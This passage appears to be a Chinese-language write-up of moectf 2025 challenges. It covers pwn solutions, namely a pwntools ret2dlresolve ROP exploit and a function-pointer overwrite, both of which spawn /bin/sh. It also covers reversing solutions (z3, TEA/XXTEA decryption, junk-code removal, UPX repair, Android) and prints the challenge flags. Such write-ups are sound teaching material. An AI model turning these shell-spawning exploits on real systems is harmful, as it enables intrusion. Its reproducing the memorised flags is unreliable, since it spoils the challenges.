ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


offset = 112+8
read_length = 0x100
start_resolve = elf.get_section_by_name(".plt").header.sh_addr
pop_rdi = 0x040115e
pop_rsi_r15 = 0x0401241
read_plt = elf.plt['read']

rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh\x00"])

payload = flat(
 b'\x00'*offset,
 pop_rdi, 0,
 pop_rsi_r15, dlresolve.data_addr, 0,
 read_plt,
 pop_rdi, dlresolve.real_args[0],
 start_resolve, dlresolve.reloc_index
).ljust(0x100, b'\x00') + dlresolve.payload

sl(payload)
print(rop.dump())
# moectf{N0_PuT5-n0-PRintF_n0-13Ak_JUSt-rET2dl2da2a}，注意远程不要patch了打

io.interactive()

后续远程

patch会修改动态内存布局（一般来说会抬高libc空间），远程不要Patch

call_it

保护，但其实SHSTK和IBT如题所说是无效的，所以我觉得这真的能算是JOP吗…
我们发现 whlie 的结束条件是由 n_gestures 控制的，但输入 6 后，n_gestures 不增加而 v2 会增加。

如图，只限制到了7
而fgets会v2进行偏移往 talks 内写入数据，往下可以精确写到gestures从而控制gestures内容

而还有一个gift,可以将参数和函数一并传入进行执行了， +8 位置作为参数，调用 +16 位置的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "34233"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x4012d9
 b *0x40111E
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def message(idx, content=b""):
 sla(b"Choose your gesture:", str(idx))
 if 0 < idx < 6:
 sla(b"What should I say after this gesture?", content)


gift = elf.sym['gift']
system = 0x401228
binsh_addr = elf.sym['talks']

log.info(VIO_TEXT(f"gift: {hex(gift)}"))
log.info(VIO_TEXT(f"system: {hex(system)}"))
log.info(VIO_TEXT(f"binsh_addr: {hex(binsh_addr)}"))

message(1, b'/bin/sh\x00')
for i in range(7):
 message(6)

payload = flat(
 gift, binsh_addr,
)
log.info(CLEAR_TEXT(f"payload: {payload.hex()}"))
# 前半部分写入到了rsp指针中在调用0会直接使用 rdi会写入到rax rax+8->rdi,可以写入/bin/sh\x00
message(1, payload[0:15])
message(1, p64(system)) # call ptr [rax+10h]
message(0)
# moectf{iF_I8T-3naBL3D-tHEn_YOu_caNN0t-CAptUrE-Thi5-fLaG1}

ia()

reverse

ez3

main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


int __fastcall main(int argc, const char **argv, const char **envp)
{
 char v3; // bl
 bool v4; // r12
 __int64 v5; // rbx
 __int64 v6; // rax
 char v8; // [rsp+Fh] [rbp-71h] BYREF
 __int64 v9; // [rsp+10h] [rbp-70h] BYREF
 __int64 v10; // [rsp+18h] [rbp-68h] BYREF
 _BYTE v11[32]; // [rsp+20h] [rbp-60h] BYREF
 _BYTE v12[40]; // [rsp+40h] [rbp-40h] BYREF
 unsigned __int64 v13; // [rsp+68h] [rbp-18h]

 v13 = __readfsqword(0x28u);
 printf((unsigned int)"Input your flag:\n> ", (_DWORD)argv, (_DWORD)envp);
 fflush(stdout);
 std::string::basic_string(v11);
 std::operator>><char>((std::istream *)&std::cin);
 if ( std::string::length(v11, v11) == 42 )
 {
 v3 = 0;
 v4 = 1;
 if ( (unsigned __int64)std::string::length(v11, v11) > 7 )
 {
 std::string::substr(v12, v11, 0LL, 7LL);
 v3 = 1;
 if ( !(unsigned __int8)std::operator!=<char>(v12, "moectf{") && *(_BYTE *)std::string::back(v11) == 125 )
 v4 = 0;
 }
 if ( v3 )
 std::string::~string(v12);
 if ( v4 )
 {
 puts("FORMAT ERROR!");
 }
 else
 {
 std::allocator<char>::allocator(&v8);
 v10 = std::string::end(v11);
 v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v10, 1LL);
 v9 = std::string::begin(v11);
 v6 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v9, 7LL);
 std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v12, v6, v5, &v8);
 std::string::operator=(v11, v12);
 std::string::~string(v12);
 std::allocator<char>::~allocator(&v8);
 std::string::basic_string(v12, v11);
 LOBYTE(v5) = check(v12);
 std::string::~string(v12);
 if ( (_BYTE)v5 )
 {
 puts("OK");
 puts("But I don't know what the true flag is");
 }
 else
 {
 puts("try again~");
 }
 }
 }
 else
 {
 puts("Length error!");
 }
 std::string::~string(v11);
 return 0;
}

check()函数，为主加密逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


__int64 __fastcall check(__int64 a1)
{
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i <= 33; ++i )
 {
 check(std::string)::b[i] = 47806 * (*(char *)std::string::operator[](a1, i) + i);
 if ( i )
 check(std::string)::b[i] ^= check(std::string)::b[i - 1] ^ 0x114514;
 check(std::string)::b[i] %= 51966;
 if ( check(std::string)::b[i] != a[i] )
 return 0LL;
 }
 return 1LL;
}

check函数中,b[i]%51966会使得不同输入也可以产生相同输出，flag长度为42，b[i]与a[i] (34个字符)会进行比较，跟进a找到数据

check做了什么呢？实际上就是拿b[i]这个计算产生的中间值与51966取模后去跟数组a一一匹配，那么我们用一个flag数组来表示*(char *)std::string::operator[](a1, i) + i 即34哥未知字符然后用z3约束运算求解出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from z3 import *

# Given data
a_values = [
 0x0B1B0, 0x5678, 0x7FF2, 0x0A332, 0x0A0E8, 0x364C, 0x2BD4, 0x0C8FE,
 0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0x0BE8C,
 0x8F7E, 0x35F8, 0x61AA, 0x2B4A, 0x6828, 0x0B39E, 0x0B542, 0x33EC,
 0x0C7D8, 0x448C, 0x9310, 0x8808, 0x0ADD4, 0x3CC2,
 0x796, 0x0C940, 0x4E32, 0x4E2E, 0x924A, 0x5B5C
]

s = Solver()

# 用八位位向量表示0-255的数
flag_chars = [BitVec(f'c_{i}', 8) for i in range(34)]

for c in flag_chars:
 s.add(c >= 32, c <= 126) # 限制在ascill码大小

# 逆向代码
b = [0] * 34
for i in range(34):
 # b[i] = 47806 * (c[i] + i)
 b[i] = 47806 * (ZeroExt(24, flag_chars[i]) + i) # ZeroExt用于拓展位宽到32位模拟32位整数
 if i > 0:
 b[i] ^= (b[i-1] ^ 0x114514)
 b[i] = URem(b[i], 51966) #无符号数取模
 s.add(b[i] == a_values[i]) #约束

solutions = []
while len(solutions) < 10 and s.check() == sat:
 m = s.model()
 # 得到字符
 sol_bytes = bytes([m.eval(flag_chars[i]).as_long() for i in range(34)])
 sol_str = sol_bytes.decode('ascii') #取出字符的ascii值
 solutions.append(sol_str)

 s.add(Or([flag_chars[i] != ord(sol_str[i]) for i in range(34)])) #排除相同解

if solutions:
 print("Found solutions:")
 for i, sol in enumerate(solutions, 1):
 print(f"{i}. moectf{{{sol}}}")
else:
 print("No solutions found")

moectf{Y0u_Kn0w_z3_S0Iv3r_N0w_a1f2bdce4a9}

a cup of tea

是tea?找一找，一路上顺便把变量改为十六进制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


__int64 sub_1400162E0()
{
 char *v0; // rdi
 __int64 i; // rcx
 _BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
 char v4; // [rsp+20h] [rbp+0h] BYREF
 _DWORD v5[12]; // [rsp+28h] [rbp+8h] BYREF
 _DWORD v6[20]; // [rsp+58h] [rbp+38h]
 _DWORD v7[20]; // [rsp+A8h] [rbp+88h] BYREF
 _DWORD v8[20]; // [rsp+F8h] [rbp+D8h] BYREF
 char Str[64]; // [rsp+148h] [rbp+128h] BYREF
 size_t Size; // [rsp+188h] [rbp+168h]
 int j; // [rsp+1A4h] [rbp+184h]
 int v12; // [rsp+1C8h] [rbp+1A8h] BYREF
 int v13; // [rsp+1CCh] [rbp+1ACh]
 int v14; // [rsp+1E4h] [rbp+1C4h]
 int k; // [rsp+204h] [rbp+1E4h]

 v0 = &v4;
 for ( i = 130LL; i; --i )
 {
 *(_DWORD *)v0 = 0xCCCCCCCC;
 v0 += 4;
 }
 sub_140011384((__int64)&unk_140023015);
 v5[0] = 0x11451419;
 v5[1] = 0x19810114;
 v5[2] = 0x51419198;
 v5[3] = 0x10114514;
 v6[0] = 0x78C594AB;
 v6[1] = 0x22813B59;
 v6[2] = 0x472A3144;
 v6[3] = 0xF255108A;
 v6[4] = 0x45CFB34;
 v6[5] = 0x3949EA0C;
 v6[6] = 0xCB760968;
 v6[7] = 0x1559C979;
 v6[8] = 0xDEF9929D;
 v6[9] = 0x71D1AAB;
 v6[10] = 0;
 memset(v7, 0, 0x2CuLL);
 memset(v8, 0, 0x2CuLL);
 check((__int64)&unk_14001AED0);
 sub_1400113ED((__int64)&unk_14001AEE4, (__int64)Str);
 Size = j_strlen(Str);
 j_memcpy(v7, Str, Size);
 for ( j = 0; j < 5; ++j )
 {
 v12 = v7[2 * j];
 v13 = v7[2 * j + 1];
 tea((__int64)&v12, (__int64)v5);
 v8[2 * j] = v12;
 v8[2 * j + 1] = v13;
 }
 v14 = 1;
 for ( k = 0; k < 11; ++k )
 {
 if ( v8[k] != v6[k] )
 {
 v14 = 0;
 check((__int64)"You are wrong!!");
 break;
 }
 }
 if ( v14 == 1 )
 check((__int64)"Congratulations!!!!");
 sub_140011320((__int64)v3, (__int64)&unk_14001AE60);
 return 0LL;
}

加密逻辑在重命名为tea的函数里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


__int64 __fastcall sub_1400117E0(unsigned int *a1, _DWORD *a2)
{
 __int64 result; // rax
 int v3; // [rsp+24h] [rbp+4h]
 unsigned int v4; // [rsp+44h] [rbp+24h]
 unsigned int v5; // [rsp+64h] [rbp+44h]
 int i; // [rsp+A4h] [rbp+84h]

 sub_140011384(&unk_140023015);
 v3 = 0;
 v4 = *a1;
 v5 = a1[1];
 for ( i = 0; i < 32; ++i )
 {
 v3 += 0x114514;
 v4 += (a2[1] + (v5 >> 5)) ^ (v3 + v5) ^ (*a2 + 16 * v5);
 v5 += (a2[3] + (v4 >> 5)) ^ (v3 + v4) ^ (a2[2] + 16 * v4);
 }
 *a1 = v4;
 result = 4LL;
 a1[1] = v5;
 return result;
}

exp

逆向tea算法即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


#include <stdio.h>
#include <stdint.h>

// tea，改了delta-0x114514
void tea_decrypt(uint32_t *v, uint32_t const *key) {
 uint32_t v0 = v[0], v1 = v[1];
 uint32_t delta = 0x114514;
 uint32_t sum = delta * 32;

 for (int i = 0; i < 32; i++) {
 v1 -= (key[2] + (v0 << 4)) ^ (v0 + sum) ^ (key[3] + (v0 >> 5));
 v0 -= (key[0] + (v1 << 4)) ^ (v1 + sum) ^ (key[1] + (v1 >> 5));
 sum -= delta;
 }

 v[0] = v0;
 v[1] = v1;
}

int main() {
 uint32_t key[4] = {0x11451419, 0x19810114, 0x51419198, 0x10114514};
 uint32_t v6[11] = {
 0x78C594AB, 0x22813B59, 0x472A3144, 0xF255108A,
 0x045CFB34, 0x3949EA0C, 0xCB760968, 0x1559C979,
 0xDEF9929D, 0x071D1AAB,0x00000000
 };

 uint32_t decrypted[10];

 for (int i = 0; i < 10; i += 2) {
 uint32_t block[2] = {v6[i], v6[i+1]};
 tea_decrypt(block, key);
 decrypted[i] = block[0];
 decrypted[i+1] = block[1];
 }


 printf("Decrypted DWORDs:\n");
 for (int i = 0; i < 10; i++) {
 printf("v8[%d] = 0x%08X\n", i, decrypted[i]);
 }

 // 转换为ASCII字符串（小端序）
 printf("\nFlag:\n");
 for (int i = 0; i < 10; i++) { // 只转换前10个DWORD
 uint32_t val = decrypted[i];
 putchar(val & 0xFF);
 putchar((val >> 8) & 0xFF);
 putchar((val >> 16) & 0xFF);
 putchar((val >> 24) & 0xFF);
 }
 printf("\n");

 return 0;
}

flower

关键在于如何去除花指令

首先在这里存在花指令
这里会始终跳转到label+1的随机落在某条指令和jz+jnz的组合使得出现无效调用的指令流情况，所以我们先把这三条都nop掉，但是之后还是不能反汇编，怎么办呢？我们需要重新定义总的solve函数，因为原来存在这条花指令分支，现在则直接跳过了，中间断开了给它直接连起来
汇编中看到两条分支的终点都跳转到了检查canary的地方，我们就设置在第二个分支末尾处为solve()的重点就可以了

然后我们就能反汇编了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


// positive sp value has been detected, the output may be wrong!
__int64 __fastcall solve()
{
 char v0; // r12
 __int64 v1; // rax
 __int64 v2; // rbx
 __int64 v3; // rax
 char *v4; // rax
 __int64 v5; // rax
 __int64 v6; // rax
 __int64 v8; // [rsp+8h] [rbp-68h]
 char v9; // [rsp+17h] [rbp-59h] BYREF
 int i; // [rsp+18h] [rbp-58h]
 int v11; // [rsp+1Ch] [rbp-54h]
 __int64 v12; // [rsp+20h] [rbp-50h] BYREF
 __int64 v13; // [rsp+28h] [rbp-48h] BYREF
 _BYTE v14[40]; // [rsp+30h] [rbp-40h] BYREF
 __int64 v15; // [rsp+58h] [rbp-18h]

 if ( v0 )
 {
 v1 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v1, std::endl<char,std::char_traits<char>>);
 }
 else
 {
 ((void (__fastcall *)(char *))std::allocator<char>::allocator)(&v9);
 v13 = std::string::end();
 v2 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator-)(
 &v13,
 1LL);
 v12 = std::string::begin();
 v3 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator+)(
 &v12,
 7LL);
 ((void (__fastcall *)(_BYTE *, __int64, __int64, char *))std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>)(
 v14,
 v3,
 v2,
 &v9);
 ((void (__fastcall *)(__int64, _BYTE *))std::string::operator=)(v8, v14);
 std::string::~string(v14);
 std::allocator<char>::~allocator(&v9);
 v11 = ((__int64 (__fastcall *)())std::string::length)();
 if ( v11 == 32 )
 {
 for ( i = 0; i < v11; ++i )
 {
 v4 = (char *)((__int64 (__fastcall *)(__int64, _QWORD))std::string::operator[])(v8, i);
 if ( (unsigned int)encode(*v4) != enc[i] )
 goto LABEL_10;
 }
 if ( !enc[v11] )
 {
 v6 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v6, std::endl<char,std::char_traits<char>>);
 JUMPOUT(0x404AC3LL);
 }
 }
LABEL_10:
 v5 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
 std::ostream::operator<<(v5, std::endl<char,std::char_traits<char>>);
 }
 return v15 - __readfsqword(0x28u);
}

encode()逻辑很简单:

1
2
3
4
5
6
7


__int64 __fastcall encode(int a1)
{
 int v1; // eax

 v1 = key++;
 return a1 ^ (unsigned int)v1;
}

key不断++然后和enc异或就是我们的值，但是一开始的输出
moectf{l>|9|5tEPkSjE7hU=f=Uk"k%?GIOe5i}这是什么东西？？后来发现

开头的时候拿key和0xa异或了一下，这个得看汇编，所以要注意一下啊

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


#include <stdio.h>

int main() {
 unsigned char enc[32] = {
 0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,
 0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,
 0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,
 0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B
 };

 unsigned char key_start = 0x23^0xa;
 unsigned char ch;

 printf("moectf{");

 for (int i = 0; i < 32; i++) {
 ch = enc[i] ^ (key_start + i);
 fwrite(&ch, 1, 1, stdout);
 }
 printf("}");

 return 0;
}

week2

catch

刚开始有一个栅栏加密的假flag 用try-catch块导致反编译无法识别，

原本是catch块的地方重新定义函数到catch-end就可以反编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


// positive sp value has been detected, the output may be wrong!
void __fastcall catch_block(void *a1, __int64 a2)
{
 char *v2; // rdx
 int v3; // [rsp+34h] [rbp-Ch]
 int v4; // [rsp+38h] [rbp-8h]
 int i; // [rsp+3Ch] [rbp-4h]

 _cxa_begin_catch(a1);
 v3 = strlen((const char *)a1);
 for ( i = 0; i < v3; ++i )
 {
 v4 = (unsigned __int8)solve(void)::hidesuwa[i];
 if ( islower((int)a1) )
 {
 v4 = (v4 - 84) % 26 + 97;
 }
 else if ( isupper((int)a1) )
 {
 v4 = (v4 - 52) % 26 + 65;
 }
 v2 = solve(void)::hidesuwa;
 solve(void)::hidesuwa[i] = v4;
 }
 printf((const char *)a1, a2, v2, "so you didn't catch me?\n");
 _cxa_end_catch();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


encrypted = "zbrpgs{F4z3_Ge1px_jvgu_@sybjre_qrfhjn}"
decrypted = []

for c in encrypted:
 if c.islower():
 decrypted_char = chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
 elif c.isupper():
 decrypted_char = chr((ord(c) - ord('A') + 13) % 26 + ord('A'))
 else:
 decrypted_char = c
 decrypted.append(decrypted_char)

print("".join(decrypted))
# moectf{S4m3_Tr1ck_with_@flower_desuwa}

upx_revenge

stub中缺少了了解压用的upx!(自己加密一个就知道了)

010右下角切为插入模式，在解压算法数据前加入upx!的签名(比如0d开头就是这里)
然后就可以运行了

IDA里找到这里，对传入的base64进行换表后加密，换表即对每个字符xor 0xe

使用的是URL base64，换表后base64解密

moectf{Y0u_Re4l1y_G00d_4t_Upx!!!}

two_cups_of_tea

由v12的key数组生成，可以写xtea解密也可以dump出来断点打在main函数return0前，可以看见

用lazyIDA convert dump出来

这就是密钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


__int64 __fastcall xxtea(unsigned int *a1, __int64 a2, __int64 a3)
{
 unsigned int v3; // r9d
 int v4; // r11d
 unsigned int v5; // edx
 unsigned int v6; // esi
 unsigned int v7; // ebp
 unsigned int v8; // r14d
 unsigned int v9; // r15d
 unsigned int v10; // r12d
 unsigned int v11; // r13d
 unsigned int v12; // ebx
 unsigned int v13; // ecx
 int v14; // edi
 int v15; // ebx
 __int64 v16; // r10
 int v17; // r11d
 int v18; // eax
 bool v19; // zf
 __int64 result; // rax
 unsigned int v21; // [rsp+0h] [rbp-58h]
 unsigned int v22; // [rsp+4h] [rbp-54h]
 int v23; // [rsp+8h] [rbp-50h]
 int v25; // [rsp+68h] [rbp+10h]
 __int64 v26; // [rsp+70h] [rbp+18h]
 unsigned int v27; // [rsp+78h] [rbp+20h]

 v26 = a3;
 v3 = a1[9];
 v4 = 0;
 v5 = a1[8];
 v6 = a1[1];
 v7 = a1[2];
 v8 = a1[3];
 v9 = a1[4];
 v10 = a1[5];
 v11 = a1[6];
 v12 = *a1;
 v13 = a1[7];
 v27 = v5;
 v22 = v3;
 v23 = 11;
 while ( 1 )
 {
 v25 = v4 - 0x61C88647;
 v14 = *(_DWORD *)(a3 + 4LL * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3));
 v21 = v12 + ((((16 * v3) ^ (v6 >> 3)) + ((v3 >> 5) ^ (4 * v6))) ^ (((v4 - 0x61C88647) ^ v6) + (v14 ^ v3)));
 v15 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 1LL));
 v6 += ((v21 ^ v15) + ((v4 - 0x61C88647) ^ v7)) ^ (((16 * v21) ^ (v7 >> 3)) + ((v21 >> 5) ^ (4 * v7)));
 v16 = ((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 3LL;
 v17 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 2LL));
 v7 += ((v6 ^ v17) + (v25 ^ v8)) ^ (((16 * v6) ^ (v8 >> 3)) + ((v6 >> 5) ^ (4 * v8)));
 v8 += ((v25 ^ v9) + (v7 ^ *(_DWORD *)(v26 + 4 * v16))) ^ (((16 * v7) ^ (v9 >> 3)) + ((v7 >> 5) ^ (4 * v9)));
 v9 += ((v8 ^ v14) + (v25 ^ v10)) ^ (((16 * v8) ^ (v10 >> 3)) + ((v8 >> 5) ^ (4 * v10)));
 v10 += ((v9 ^ v15) + (v25 ^ v11)) ^ (((16 * v9) ^ (v11 >> 3)) + ((v9 >> 5) ^ (4 * v11)));
 v18 = (v10 ^ v17) + (v25 ^ v13);
 v4 = v25;
 v11 += v18 ^ (((16 * v10) ^ (v13 >> 3)) + ((v10 >> 5) ^ (4 * v13)));
 v13 += ((v11 ^ *(_DWORD *)(v26 + 4 * v16)) + (v25 ^ v27)) ^ (((16 * v11) ^ (v27 >> 3)) + ((v11 >> 5) ^ (4 * v27)));
 v27 += ((v13 ^ v14) + (v25 ^ v22)) ^ (((16 * v13) ^ (v22 >> 3)) + ((v13 >> 5) ^ (4 * v22)));
 v3 = (((v27 ^ v15) + (v25 ^ v21)) ^ (((16 * v27) ^ (v21 >> 3)) + ((v27 >> 5) ^ (4 * v21)))) + v22;
 a3 = v26;
 v19 = v23-- == 1;
 v22 = v3;
 if ( v19 )
 break;
 v12 = v21;
 }
 result = v13;
 a1[1] = v6;
 a1[2] = v7;
 a1[3] = v8;
 a1[4] = v9;
 a1[5] = v10;
 a1[6] = v11;
 a1[7] = v13;
 a1[8] = v27;
 a1[9] = v3;
 *a1 = v21;
 return result;
}

是一个xxtea加密，v23为11轮，但是中间的加密过程拆开写了，这里有一点要注意，-0x61c88647要加上补码即0x9e3779b9 写xxtea模板解密即可，没有魔改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


// Recover flag in C
// gcc -O2 -std=c11 -o solve solve.c
#define DELTA 0x9e3779b9 // 补码
#include <stdint.h>
#include <stdio.h>

static inline uint32_t U32(uint64_t x) { return (uint32_t)(x & 0xFFFFFFFFu); }

#define MX \
 (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ \
 ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 rounds = 6 + 52 / n;
 sum = rounds * DELTA;
 y = v[0];

 do {
 e = (sum >> 2) & 3;
 for (p = n - 1; p > 0; p--) {
 z = v[p - 1];
 y = v[p] -= MX;
 }
 z = v[n - 1];
 y = v[0] -= MX;
 sum -= DELTA;
 } while (--rounds);
}

int main(void) {
 uint32_t key[4] = {0x63656F6D, 0x21216674, 0x12345678, 0x9ABCDEF0};
 uint32_t v[] = {0x5D624C34, 0x8629FEAD, 0x9D11379B, 0xFCD53211, 0x460F63CE,
 0xC5816E68, 0xFE5300AD, 0x0A0015EE, 0x9806DBBB, 0xEF4A2648};
 btea(v, 10, key);
 char *flag = (char *)v;

 for (int i = 0; i < 40; i++)
 printf("%c", flag[i]);

 return 0;
}

week3及之后（大概吧

ezandroid

Androidmanifest进去就能看到是base64加密,cyberchef即可

ez_windows

在ida中找到窗口消息处理部分

.lpfnWndProc部分为我们的窗口信息处理函数

这里对应命令处理分支，也就是窗口左上角的各个对应框架。在DialogFunc存在关键部分

1

v23[v14] = String[v14] ^ 0x2A; // 每个字符与0x2A异或

下面存在密文的比较

1
2
3
4
5
6
7
8


 do
 {
 v16 = *(unsigned __int16 *)((char *)v15 + (char *)aGeoiLqbj - (char *)v23);
 v17 = *v15 - v16;
 if ( v17 )
 break;
 ++v15;
 }

v16会取出aGeoiLqbj中的低三十二位字节，而高三十二位在实际地址中就是0不用管，因此直接写解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


encrypted_bytes = [
 0x47, 0x45, 0x4F, 0x49, 0x5E, 0x4C, 0x51, 0x62,
 0x6A, 0x5c, 0x1e, 0x75, 0x4C, 0x7F, 0x44, 0x57
]

# 解密（每个字节与0x2A异或）
password = ""
for byte in encrypted_bytes:
 if byte != 0: # 忽略末尾的null
 decrypted = byte ^ 0x2A
 password += chr(decrypted)

print("解密后的密码:", password)

ezandroid_pro

main中通过native层调用了c++的libezandroidpro

将app改为压缩包解压后在libs-arm64下找到，根据命名格式搜索
Java_com_example_ezandroidpro_MainActivity_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97


bool __fastcall Java_com_example_ezandroidpro_MainActivity_check(__int64 a1, __int64 a2, __int64 a3)
{
 const char *v5; // x0
 const char *v6; // x21
 size_t v7; // x0
 size_t v8; // x22
 char *v9; // x23
 _BOOL4 v10; // w20
 unsigned __int64 v11; // x24
 char *v12; // x19
 __int64 *v13; // x10
 unsigned __int64 v14; // x9
 unsigned __int8 *v15; // x10
 char *v16; // x11
 int v17; // w12
 int v18; // w13
 void *v19; // x21
 void *v21[2]; // [xsp+0h] [xbp-50h] BYREF
 void *s1; // [xsp+10h] [xbp-40h]
 void *v23[3]; // [xsp+18h] [xbp-38h] BYREF
 _QWORD v24[2]; // [xsp+30h] [xbp-20h] BYREF
 void *v25; // [xsp+40h] [xbp-10h]
 __int64 v26; // [xsp+48h] [xbp-8h]

 v26 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
 v5 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0);
 if ( !v5 )
 return 0;
 v6 = v5;
 v7 = strlen(v5);
 if ( v7 >= 0xFFFFFFFFFFFFFFF0LL )
 std::__basic_string_common<true>::__throw_length_error(v24);
 v8 = v7;
 if ( v7 >= 0x17 )
 {
 v11 = (v7 + 16) & 0xFFFFFFFFFFFFFFF0LL;
 v9 = (char *)operator new(v11);
 v24[1] = v8;
 v25 = v9;
 v24[0] = v11 | 1;
 goto LABEL_8;
 }
 v9 = (char *)v24 + 1;
 LOBYTE(v24[0]) = 2 * v7;
 if ( v7 )
LABEL_8:
 memcpy(v9, v6, v8);
 v9[v8] = 0;
 (*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, a3, v6);
 strcpy((char *)v23, " moectf2025!!!!!!");
 v12 = (char *)operator new(0x70u);
